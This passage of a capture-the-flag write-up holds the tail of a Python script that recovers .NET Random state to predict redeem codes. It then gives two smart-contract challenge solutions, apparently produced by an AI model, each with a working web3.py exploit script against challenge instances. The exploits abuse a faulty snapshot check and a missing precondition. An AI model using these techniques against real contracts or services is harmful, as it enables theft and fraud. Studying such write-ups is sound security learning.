            x, rank = gauss_solve_mod(basis, STATE_N, P)
        except ValueError:
            continue
        if rank != STATE_N:
            continue
        score = score_candidate(x)
        if best is None or score > best[0]:
            best = (score, x, rank)
            if score == len(obs):
                break

    if best is None:
        raise ValueError("failed to recover state (no full-rank candidate found)")
    score, x, rank = best
    if score != len(obs):
        raise ValueError(f"failed to recover full-consistency state (best score {score}/{len(obs)})")
    return x, rank


def recover_state_from_frames(frames: List[Dict[str, Any]]) -> Tuple[List[int], int, int]:
    obs = observations_from_frames(frames)
    max_n = max(n for n, _ in obs)
    C = coeff_rows_up_to(max_n)
    y0_54, rank = _recover_state_ransac(obs, C)
    return y0_54, rank, max_n


def verify_against_frames(y: List[int], frames: List[Dict[str, Any]], *, strict_bytes: bool = False) -> None:
    for f in frames:
        t = int(f["tickId"])
        base = (t - 1) * CALLS_PER_TICK

        # sampleInts must match exactly
        si = [int(x) for x in f["sampleInts"]]
        pred_si = [dotnet_next_from_internal(y[base + 4 + j], P) for j in range(16)]
        if si[:16] != pred_si:
            raise ValueError(f"verification failed: sampleInts mismatch at tick {t}")

        # reels/jackpot are extra sanity checks if present
        if "reels" in f and isinstance(f["reels"], list) and len(f["reels"]) == 3:
            pred_reels = [dotnet_next_from_internal(y[base + i], 10) for i in range(3)]
            got_reels = [int(x) for x in f["reels"]]
            if pred_reels != got_reels:
                raise ValueError(f"verification failed: reels mismatch at tick {t}")

        if "jackpotPreview" in f:
            pred_jp = dotnet_next_from_internal(y[base + 3], JACKPOT_MAX)
            if pred_jp != int(f["jackpotPreview"]):
                raise ValueError(f"verification failed: jackpotPreview mismatch at tick {t}")

        if "sampleBytesHex" in f and isinstance(f["sampleBytesHex"], str):
            hx = f["sampleBytesHex"].strip().lower()
            if len(hx) >= 8 and all(c in "0123456789abcdef" for c in hx[:8]):
                got = bytes.fromhex(hx[:8])
                # compat Random.NextBytes fills bytes as (byte)InternalSample().
                pred = bytes((y[base + 20 + i] &#x26; 0xFF) for i in range(4))
                if strict_bytes and got != pred:
                    raise ValueError(f"verification failed: sampleBytesHex mismatch at tick {t}")


def redeem_code_for_tick(y: List[int], tick_id: int) -> int:
    base = (tick_id - 1) * CALLS_PER_TICK
    internal = y[base + 24]
    return dotnet_next_from_internal(internal, REDEEM_MAX)


def http_get_json(url: str) -> Any:
    from urllib.request import Request, urlopen

    req = Request(url, headers={"Accept": "application/json"})
    with urlopen(req, timeout=10) as r:
        data = r.read()
    return json.loads(data)


def selftest() -> None:
    import random

    # Generate a synthetic y-stream consistent with the linear recurrence.
    y0 = [random.randrange(P) for _ in range(STATE_N)]
    max_tick = 12
    max_n = (max_tick - 1) * CALLS_PER_TICK + 24
    y = gen_stream_from_state(y0, max_n)

    frames = []
    for t in range(1, max_tick + 1):
        base = (t - 1) * CALLS_PER_TICK
        frames.append(
            {
                "tickId": t,
                "unixSeconds": 0,
                "reels": [dotnet_next_from_internal(y[base + i], 10) for i in range(3)],
                "jackpotPreview": dotnet_next_from_internal(y[base + 3], JACKPOT_MAX),
                "sampleInts": [dotnet_next_from_internal(y[base + 4 + j], P) for j in range(16)],
                "sampleBytesHex": bytes((y[base + 20 + i] % 256) for i in range(4)).hex(),
            }
        )

    rec_y0, rank, rec_max_n = recover_state_from_frames(frames)
    assert rank == STATE_N, f"rank {rank} != {STATE_N}"

    y2 = gen_stream_from_state(rec_y0, max_n)
    verify_against_frames(y2, frames)

    # Spot-check redeem codes
    for t in (1, 2, 7, max_tick):
        base = (t - 1) * CALLS_PER_TICK
        expect = dotnet_next_from_internal(y[base + 24], REDEEM_MAX)
        got = redeem_code_for_tick(y2, t)
        assert expect == got


def main() -> int:
    ap = argparse.ArgumentParser(description="Recover .NET Random internal stream from /api/recent frames and compute redeem codes.")
    ap.add_argument("--url", help="Base URL, e.g. http://127.0.0.1:5000")
    ap.add_argument("--json", dest="json_path", help="Path to JSON list of frames (from /api/recent/30)")
    ap.add_argument("--n", type=int, default=30, help="How many recent frames to fetch (default: 30)")
    ap.add_argument("--calls-per-tick", type=int, default=25, help="RNG draws per tick (default: 25)")
    ap.add_argument("--strict-bytes", action="store_true", help="Fail if sampleBytesHex doesn't match assumed .NET compat NextBytes behavior")
    ap.add_argument("--tick", type=int, help="Print code for a specific tickId")
    ap.add_argument("--selftest", action="store_true", help="Run internal self-test")

    args = ap.parse_args()
    global CALLS_PER_TICK
    CALLS_PER_TICK = int(args.calls_per_tick)

    if args.selftest:
        selftest()
        print("selftest ok")
        return 0

    if bool(args.url) == bool(args.json_path):
        print("need exactly one of --url or --json", file=sys.stderr)
        return 2

    if args.url:
        base = args.url.rstrip("/")
        frames_obj = http_get_json(f"{base}/api/recent/{int(args.n)}")
        frames = parse_frames(frames_obj)
    else:
        with open(args.json_path, "rb") as f:
            frames = parse_frames(json.load(f))

    y0_54, rank, max_obs_n = recover_state_from_frames(frames)
    if rank != STATE_N:
        print(f"warning: rank {rank}/{STATE_N}; solution may be non-unique", file=sys.stderr)

    # Generate enough stream to cover all ticks we might print.
    max_tick = max(int(f["tickId"]) for f in frames)
    max_needed = (max_tick - 1) * CALLS_PER_TICK + 24
    y = gen_stream_from_state(y0_54, max_needed)

    # Optional verification.
    verify_against_frames(y, frames, strict_bytes=bool(args.strict_bytes))

    if args.tick:
        t = args.tick
        if t &#x3C; 1:
            print("tickId must be >= 1", file=sys.stderr)
            return 2
        need = (t - 1) * CALLS_PER_TICK + 24
        if need > max_needed:
            y = gen_stream_from_state(y0_54, need)
        code = redeem_code_for_tick(y, t)
        print(json.dumps({"tickId": t, "code": code}))
        return 0

    # Print codes for provided frames (sorted by tickId)
    out = []
    for f in sorted(frames, key=lambda x: int(x["tickId"])):
        t = int(f["tickId"])
        out.append({"tickId": t, "code": redeem_code_for_tick(y, t)})
    print(json.dumps(out, indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
</code></pre>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FRoayUNnwwyDJ0ZXeg4St%2Fimage.png?alt=media&#x26;token=ea4f6f7f-a9f3-49d9-8336-a0f1cde08e53" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{11d7f3bda057}
{% endhint %}

## Blockchain

### tge

> i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad
>
> author: hygge

**Solved by Gemini 3**

**Goal**

Reach `Setup.isSolved()` by making `tge.userTiers(player) == 3`.

**Contract Setup**

* `Setup` deploys:
  * `Token` and `TGE`
  * TGE supplies: tier1=`15`, tier2=`35`, tier3=`50`
* Player receives exactly `15` tokens.
* `enableTge(bool)` is public in `Setup`, so the player can toggle TGE state.

**Vulnerability**

`TGE.upgrade()` uses this gate:

* `require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");`

This is intended to compare user snapshot balance vs total snapshot supply. But `preTGEBalance` is not a real snapshot:

* `preTGESupply` is snapshotted once when TGE is first turned off.
* `preTGEBalance` keeps increasing whenever `_mint` is called during `isTgePeriod` (even after snapshot).

So after snapshot, a user can mint tier 2/3 during reopened TGE and make `preTGEBalance[user][tier] > preTGESupply[tier]` true trivially.

**Exploit**

1. `approve(tge, 15)`
2. `buy()` -> gets tier 1 NFT/slot.
3. `enableTge(false)` -> triggers one-time `preTGESupply` snapshot.
4. `enableTge(true)` -> reopens TGE.
5. `upgrade(2)`:
   * burns tier1, mints tier2
   * mint updates `preTGEBalance[user][2] += 1`
   * `preTGESupply[2]` was snapshotted as `0`, so `1 > 0` passes.
6. `upgrade(3)`:
   * same pattern for tier3 (`preTGESupply[3] == 0`)
   * user reaches tier 3, challenge solved.

```python
from web3 import Web3

# Connection details
RPC_URL = "http://challenges.1pc.tf:59686/bc738f22-1415-4551-911d-8459d818e236"
PRIVKEY = "f8fb231a25f34012a2976b14e081b7c6f34578661b7a01bce943515c1846c5ac"
SETUP_ADDR = "0x0fBc0F8D345f3082cD97618578FcB8fd43537340"


w3 = Web3(Web3.HTTPProvider(RPC_URL))
player = w3.eth.account.from_key(PRIVKEY)

# Minimal ABIs based on your source code
setup_abi = [
    {"inputs":[{"name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"tge","outputs":[{"name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
tge_abi = [
    {"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
token_abi = [
    {"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]

def send_transaction(contract_func):
    tx = contract_func.build_transaction({
        'from': player.address,
        'nonce': w3.eth.get_transaction_count(player.address),
        'gas': 500000,
        'gasPrice': w3.eth.gas_price
    })
    signed_tx = w3.eth.account.sign_transaction(tx, PRIVKEY)
    tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(tx_hash)

# 1. Initialize Setup Contract
setup_contract = w3.eth.contract(address=SETUP_ADDR, abi=setup_abi)

try:
    tge_addr = setup_contract.functions.tge().call()
    token_addr = setup_contract.functions.token().call()
    print(f"Found TGE at: {tge_addr}")
    print(f"Found Token at: {token_addr}")
except Exception as e:
    print(f"Failed to call Setup contract: {e}")
    exit()

tge_contract = w3.eth.contract(address=tge_addr, abi=tge_abi)
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)

# 2. Start Exploit Sequence
print("Step 1: Approving 15 tokens...")
send_transaction(token_contract.functions.approve(tge_addr, 15))

print("Step 2: Buying Tier 1...")
send_transaction(tge_contract.functions.buy())

print("Step 3: Triggering snapshot (Disable TGE)...")
send_transaction(setup_contract.functions.enableTge(False))

print("Step 4: Re-enabling TGE...")
send_transaction(setup_contract.functions.enableTge(True))

print("Step 5: Upgrading to Tier 2...")
send_transaction(tge_contract.functions.upgrade(2))

print("Step 6: Upgrading to Tier 3...")
send_transaction(tge_contract.functions.upgrade(3))

print(f"Final Status - Is Solved: {setup_contract.functions.isSolved().call()}")

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FhOC2dfe5oQBJeqGxEjFM%2Fimage.png?alt=media&#x26;token=db0591c8-0e95-4264-80fe-530f01e9aff7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FBnIadyoA5JK0hj1RCTnK%2Fimage.png?alt=media&#x26;token=02b0d9aa-8431-4d94-b7aa-df3995c1228d" alt=""><figcaption></figcaption></figure>

### Convergence

> Convergence....
>
> author: chovid99

**Solved by Gemini 3**

**Goal**

Make `Setup.isSolved()` return `true`.

In this challenge, that means making `challenge.ascended()` become a non-zero address.

**Key Idea**

The solver in `main.py` uses a very direct path:

1. Register as seeker with `registerSeeker()`.
2. Build one `truth` payload (same format as `agreement`):
   * `SoulFragment[]`
   * `bytes32`
   * `uint32`
   * `address invoker/binder`
   * `address witness`
3. Put **11 fragments**, each with `100 ether` essence.
   * Total essence = `1100 ether`.
   * `Setup.bindPact()` allows each fragment up to `100 ether`, so this passes.
4. Call `Setup.bindPact(truth)` to store the chronicle seal.
5. Call `Challenge.transcend(truth)`.

**Why This Works**

`transcend()` only checks:

* sender is a registered seeker,
* payload seal exists in `setup.chronicles`,
* `invoker == msg.sender`,
* `witness == msg.sender`,
* total fragment essence `>= 1000 ether`.

It does **not** require `offerDestiny`, `harvestSouls`, or `achieveConvergence` first. So one valid chronicled payload with enough essence is enough to ascend.

**Result**

After `transcend`, `ascended` is set to player address, and `Setup.isSolved()` returns `true`.

```python
from web3 import Web3
from eth_abi import encode

# --- Configuration ---
RPC_URL = "http://challenges.1pc.tf:47113/b17cb967-4015-4e03-98ce-7f9e565116b4"
PRIVKEY = "0b485b86a6651cd2a215b1125f3f755824daf3353b78cf44abb46b9c6fb31faa"
SETUP_ADDR = "0x47D9da4e0BB98B1182468f2C5643EE6A596edbC3"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
player = w3.eth.account.from_key(PRIVKEY)

# --- ABIs ---
# Only include the functions we absolutely need to avoid selector errors
setup_abi = [
    {"inputs":[],"name":"challenge","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[{"type":"bytes","name":"agreement"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}
]

challenge_abi = [
    {"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"type":"bytes","name":"truth"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}
]

def send_transaction(contract_func):
    tx = contract_func.build_transaction({
        'from': player.address,
        'nonce': w3.eth.get_transaction_count(player.address),
        'gas': 2000000,
        'gasPrice': w3.eth.gas_price
    })
    signed_tx = w3.eth.account.sign_transaction(tx, PRIVKEY)
    tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(tx_hash)

# --- Execution ---
setup_contract = w3.eth.contract(address=SETUP_ADDR, abi=setup_abi)

# Fetch challenge address safely
try:
    challenge_addr = setup_contract.functions.challenge().call()
    print(f"Challenge Address: {challenge_addr}")
except Exception as e:
    print(f"Error fetching challenge address: {e}")
    # Fallback: manually check if the address is set in Challenge.sol's public setup
    exit()

challenge_contract = w3.eth.contract(address=challenge_addr, abi=challenge_abi)

# 1. Register
print("Registering as seeker...")
send_transaction(challenge_contract.functions.registerSeeker())

# 2. Build the 'Truth' payload
# SoulFragment struct: (address vessel, uint256 essence, bytes resonance)
fragments = []
for i in range(11):
    # Each fragment 100 ether (max allowed by bindPact)
    # Total = 1100 ether (exceeds 1000 ether requirement)
    fragments.append((player.address, w3.to_wei(100, 'ether'), b""))  # [cite: 30, 33, 60, 75]

# Truth structure: (SoulFragment[], bytes32, uint32, address, address)
truth_payload = encode(
    ['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
    [fragments, b'\x00'*32, 0, player.address, player.address]
)  # [cite: 46, 57, 72]

# 3. Bind Pact in Setup
print("Binding Pact in Setup...")
send_transaction(setup_contract.functions.bindPact(truth_payload))  # [cite: 72]

# 4. Transcend in Challenge
print("Transcending...")
send_transaction(challenge_contract.functions.transcend(truth_payload))  # [cite: 55, 61]

# 5. Verify Solution
if setup_contract.functions.isSolved().call():  # [cite: 76]
    print("SUCCESS: Challenge Solved!")
else:
    print("FAILED: Challenge not solved yet.")

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FrBIcCJtrXiqLAxQA0WLb%2Fimage.png?alt=media&#x26;token=0ca5e427-2e76-4edd-8fb5-3f733be68372" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fdeyy6r0XtbD6eNtrWN3b%2Fimage.png?alt=media&#x26;token=632f9894-9c52-48a3-9596-f47f2476ffc8" alt=""><figcaption></figcaption></figure>
